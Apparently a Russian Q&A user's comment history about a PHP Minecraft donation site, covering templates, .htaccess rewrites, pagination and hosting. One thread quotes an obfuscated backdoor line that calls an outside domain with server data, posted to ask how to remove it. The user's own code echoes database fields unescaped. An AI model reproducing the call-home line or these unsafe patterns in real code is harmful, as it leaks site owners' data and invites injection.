• Как вывести данные в loadTpl?

    @No4NaMe Автор вопроса
    Здесь весь код
    <?php
    if (!file_exists(dirname(__FILE__) . '/system.php')) {
        echo '<pre>';
        echo 'Ошибка! Файл system.php не найден!';
        echo '</pre>';
        die;
    }
    
    define('TKM', true);
    require_once dirname(__FILE__) . '/system.php';
    
    if (!$config['main']['installed']) {
        header('Location: install.php');
        die;
    }
    
    if (isset($_GET['pstatus'])) {
        switch ($_GET['pstatus']) {
            case 'success':
                MessageSend(3, 'Оплата успешно завершена, спасибо за покупку!', 'index.php');
                break;
    
            case 'waiting':
                MessageSend(2, 'Оплата не завершена, ожидание платежа...', 'index.php');
                break;
    
            case 'fail':
                MessageSend(1, 'Платёж отменён.', 'index.php');
                break;
        }
    }
    
    $pageData = [
        // Admin button link in navigation menu
        'adminButton' => isset($_SESSION['authsession']) ? '<li><a href="cpanel.php">Админ-панель</a></li>' : '',
    
        // Modules blocks
        'lastNews' => false,
        'hideLastNews' => false,
        'lastBuyers' => false,
        'hideLastBuyers' => false,
        'advert' => false,
        'hideAdvert' => false,
        'content' => false,
    
        // Links on page (header|footer)
        'links' => [
            'footer' => false,
            'header' => false,
        ],
    ];
    
    // Fill links
    foreach ($config['links'] as $links) {
        if ($links['footer'] === true) {
            $pageData['links']['footer'] .= loadTpl('/links/footer.html', $links);
        } else {
            $pageData['links']['header'] .= loadTpl('/links/header.html', $links);
        }
    }
    if (@$config['main']['last_news'] === true && $pageData['hideLastNews'] === false) {
        $lastNewsList = false;
        $NewsQuery = $link->query("SELECT `id`, `name`, `title`, `content`, `created_at` FROM `mcraft_news` ORDER BY created_at DESC LIMIT 4");
    
        while ($newsItem = $NewsQuery->fetch()) {
    		$lastNewsList .= loadTpl('/last_news/news.html', $newsItem);
        }
    
        if (empty($lastNewsList)) {
            $data = loadTpl("/last_news/none.html");
        } else {
            $data = $lastNewsList;
        }
        $pageData['lastNews'] = loadTpl("/last_news/parent.html", $data);
    }
    $page = 'main';
    if (!empty($_GET['mod']) && $mod = $_GET['mod']) {
        $modFile = LD_ROOT_DIR . '/pages/' . $mod . '.php';
        if (file_exists($modFile)) {
            $page = $mod;
        }
    }
    
    ob_start();
    include(LD_ROOT_DIR . '/pages/' . $page . '.php');
    $pageData['content'] = ob_get_clean();
    
    if (@$config['main']['last_buyers'] === true && $pageData['hideLastBuyers'] === false) 
    {
        $lastBuyerList = false;
        $buyersQuery = $link->query("SELECT `username`, `data`, `time` FROM `AD_PAYMENTS` WHERE `status` = '1' ORDER BY `time` DESC LIMIT 6");
    
        while ($buyer = $buyersQuery->fetch()) 
    {
            $goods_name = json_decode($buyer['data'], true)['goods_name'];
            $lastBuyerList .= loadTpl("/last_buyers/buyer.html", [
                'buyer' => $buyer,
                'name' => $goods_name,
            ]);
        }
    
        if (empty($lastBuyerList)) {
            $data = loadTpl("/last_buyers/none.html");
        } else {
            $data = $lastBuyerList;
        }
        $pageData['lastBuyers'] = loadTpl("/last_buyers/parent.html", $data);
    }
    echo loadTpl('/index.html', $pageData);


    Код новостей
    if (@$config['main']['last_news'] === true && $pageData['hideLastNews'] === false) {
        $lastNewsList = false;
        $NewsQuery = $link->query("SELECT `id`, `name`, `title`, `content`, `created_at` FROM `mcraft_news` ORDER BY created_at DESC LIMIT 4");
    
        while ($newsItem = $NewsQuery->fetch()) {
    		$lastNewsList .= loadTpl('/last_news/news.html', $newsItem);
        }
    
        if (empty($lastNewsList)) {
            $data = loadTpl("/last_news/none.html");
        } else {
            $data = $lastNewsList;
        }
        $pageData['lastNews'] = loadTpl("/last_news/parent.html", $data);
    }


    в news.html
    <?=$data['title'];?>
    <?=$data['content'];?>

    также и в Buyers
    в шаблоне parent.html просто код <?php echo $data; ?>
    но страница новостей все еще пустая

    Вот к примеру взять код вывода объявлений с конфига
    // Setting advert block (if isset)
    if (!empty($config['advert']['text']) && $advertData = $config['advert']) {
        $advertData['button'] = false;
        if (!empty($advertData['button_name'])) {
            $advertData['button'] = loadTpl('/advert_button.html', $advertData);
        }
    
        $pageData['advert'] = loadTpl('/advert.html', $advertData);
    }
  • Как вывести данные в loadTpl?

    @No4NaMe Автор вопроса
    alexalexes,
    <?php echo $data["created_at"] ?></div>
    <?php echo $data['title'] ?>
    <?php echo $data['content'] ?>
  • Как вывести данные в loadTpl?

    @No4NaMe Автор вопроса
    alexalexes, Он выводит из таблицы AD_PAYMENTS данные из столбца data и username
    data table: {"goods_id":"1","goods_name":"test4","goods_cost":"50","goods_cupon":"0","cost":"50"}
  • Как удалить уязвимость в скрипте админке?

    @No4NaMe Автор вопроса
    AUser0, получается автор данного скрипта знаю о своей же salt сможет взломать админку? как быть в таком случае?
  • Как сделать чпу с помощью .htaccess?

    @No4NaMe Автор вопроса
    1. Сделал для новостей так
    RewriteRule ^news/(.+)\.html$ page.php?mod=advert&id=$1
    открываються news/test.html

    2. для статистических страниц сделал
    RewriteRule ^(.+)\.html$ page.php?mod=page&id=$1
    test2.html

    страница не открывается и переходит на главную

    для всех заглавных статистических .php страниц которые находятся в главной директории сделал.
    RewriteRule ^(.+)\.html$ $1.php

    test3.html

    тоже не открывается и переходит на главную, из этого всего работает только чпу новостей как сделать что бы чпу и на остальные правила работали? может я что-то не так сделал?
  • Вредоносный код в php скрипте, как убрать?

    @No4NaMe Автор вопроса
    Максим Компаниец,
    ${${"GLOBALS"}["gjsqnjxdtv"]} = @file_get_contents("https://whileteam.ru/ad-loki.php?loki=" . ${$bqhzcuynfrb});


    Думаю здесь без комментариев, просьба огромная, меня не палить автору, анонимно, просто беспокоюсь за тех кто у него купил скрипт и досехпор не подозревают что все данные игровых серверов, конфиги, базы и.тд у него в свободном владении...

    Мало того что для скрипта взят готовый rcon который находиться на гите в свободном доступе, так он еще и взял https://github.com/AlexBrin/LiteDonate-PHP-SDK просто и не безопасно добавил функции оплаты для выполнения скрипта после оплаты...

    Так еще он и диктует свою политику "Лицензии". https://ldonate.ru/info/license
  • Вредоносный код в php скрипте, как убрать?

    @No4NaMe Автор вопроса
    Насчёт функции:
    if (!defined("TKM")) die("Access denied!");

    в каждом php коде это что значит?
  • Вредоносный код в php скрипте, как убрать?

    @No4NaMe Автор вопроса
    И еще функция ${${"GLOBALS"}["gjsqnjxdtv"]} = @file_get_contents("xxxxx.php?loki=" . ${$bqhzcuynfrb}); вместо xxxxx ведет на сторонний сайт для чего?
  • Как вывести постраничный вывод данных из бд?

    @No4NaMe Автор вопроса
    сделал так
    <?php
    include 'safemysql.class.php';
    $db = new safeMysql();
    
    $per_page = 10;
    
    //получаем номер страницы и значение для лимита 
    $cur_page = 1;
    if (isset($_GET['page']) && $_GET['page'] > 0) 
    {
        $cur_page = $_GET['page'];
    }
    $start = ($cur_page - 1) * $per_page;
    
    //выполняем запрос и получаем данные для вывода
    $sql  = "SELECT SQL_CALC_FOUND_ROWS * FROM mcraft_news ORDER BY created_at DESC LIMIT ?i, ?i";
    $data = $db->getAll($sql, $start, $per_page);
    $rows = $db->getOne("SELECT FOUND_ROWS()");
    
    //узнаем общее количество страниц и заполняем массив со ссылками
    $num_pages = ceil($rows / $per_page);
    
    // зададим переменную, которую будем использовать для вывода номеров страниц
    $page = 0;
    
    //а дальше выводим в шаблоне днные и навигацию:
    ?>
    Найдено сообщений: <b><?=$rows?></b><br><br>
    <? foreach ($data as $row): ?>
    <a href="?id=<?=$row['id']?>"><?=$row['title']?><?=$row['content']?></a><br>
    <? endforeach ?> 
    
    <br>
    Страницы: 
    <? while ($page++ < $num_pages): ?>
    <? if ($page == $cur_page): ?>
    <b><?=$page?></b>
    <? else: ?> 
    <a href="?page=<?=$page?>"><?=$page?></a>
    <? endif ?> 
    <? endwhile ?>


    Вопрос как теперь при нажатии на <a href="?id=<?=$row['id']?>"> вывести полную новость по id?
  • Как создать iframe виджет для группы вк?

    @No4NaMe Автор вопроса
    Сергей Соколов, tLMzPXh.png виджет выводит путём iframe из сайта в группу вк статус игровых серверов.
  • Как найти в laravel защифрованную ссылку в футере?

    @No4NaMe Автор вопроса
    Допустим если я собрал шаблон wordpress на теме astra с помощью плагина Elementer считается что тогда это мой шаблон?
  • Как найти в laravel защифрованную ссылку в футере?

    @No4NaMe Автор вопроса
    vism, Зачем мне лишние копирайты на продаже цифровых услуг для моего игрового сервера?
  • Как найти в laravel защифрованную ссылку в футере?

    @No4NaMe Автор вопроса
    vism, Разве github не распространяется как, всеобщее использование и доработка кода? разве laravel с готовым велосипедом который собрал любитель, считается собственностью автора кто собрал все дополнения которые доступны с гитхаба? ?
  • Какой хостинг провайдер выбрать с недорогими VPS/VDS?

    @No4NaMe Автор вопроса
    Спасибо цены выше чем в европе, я остановился на облачных серверах Hetzner там хоть можно приобрести за 3евро 2ram 20gb ssd 20tb traffic, 1-ядро. За 6 евро в обще можно купить 4гб-20гб ssd я считаю эта норм цена темболее надёжный дц
  • Какой хостинг провайдер выбрать с недорогими VPS/VDS?

    @No4NaMe Автор вопроса
    как насчёт облачных vps от hetzner как там обстоят дела стоит брать?
  • Front-end какой выбрать формат сайта для игрового проекта?

    @No4NaMe Автор вопроса
    Брать готовые шаблоны для меня позорно, сервер готов только на 50%
  • Front-end какой выбрать формат сайта для игрового проекта?

    @No4NaMe Автор вопроса
    Тимболее пилить шаблон под WP нету времени, моя задача доделать игровой сервер на composer и запустить проект как можно скорее главная задача это что бы была главная страница с информацией, что бы подключить кассу как можно скорее
  • Front-end какой выбрать формат сайта для игрового проекта?

    @No4NaMe Автор вопроса
    ЛК под донат у меня отдельно заточен на Laravel путем rcon командами, сервера пока что будут запущены 2 штуки Minecraft PE 1.13x в сторону Java не смотрю так как я упераюсь на кросс платформы а не на ПК
  • Как исправить ошибки пакетов зависимостей composer?

    @No4NaMe Автор вопроса
    Спасибо уже понял что не так указал адрес сайта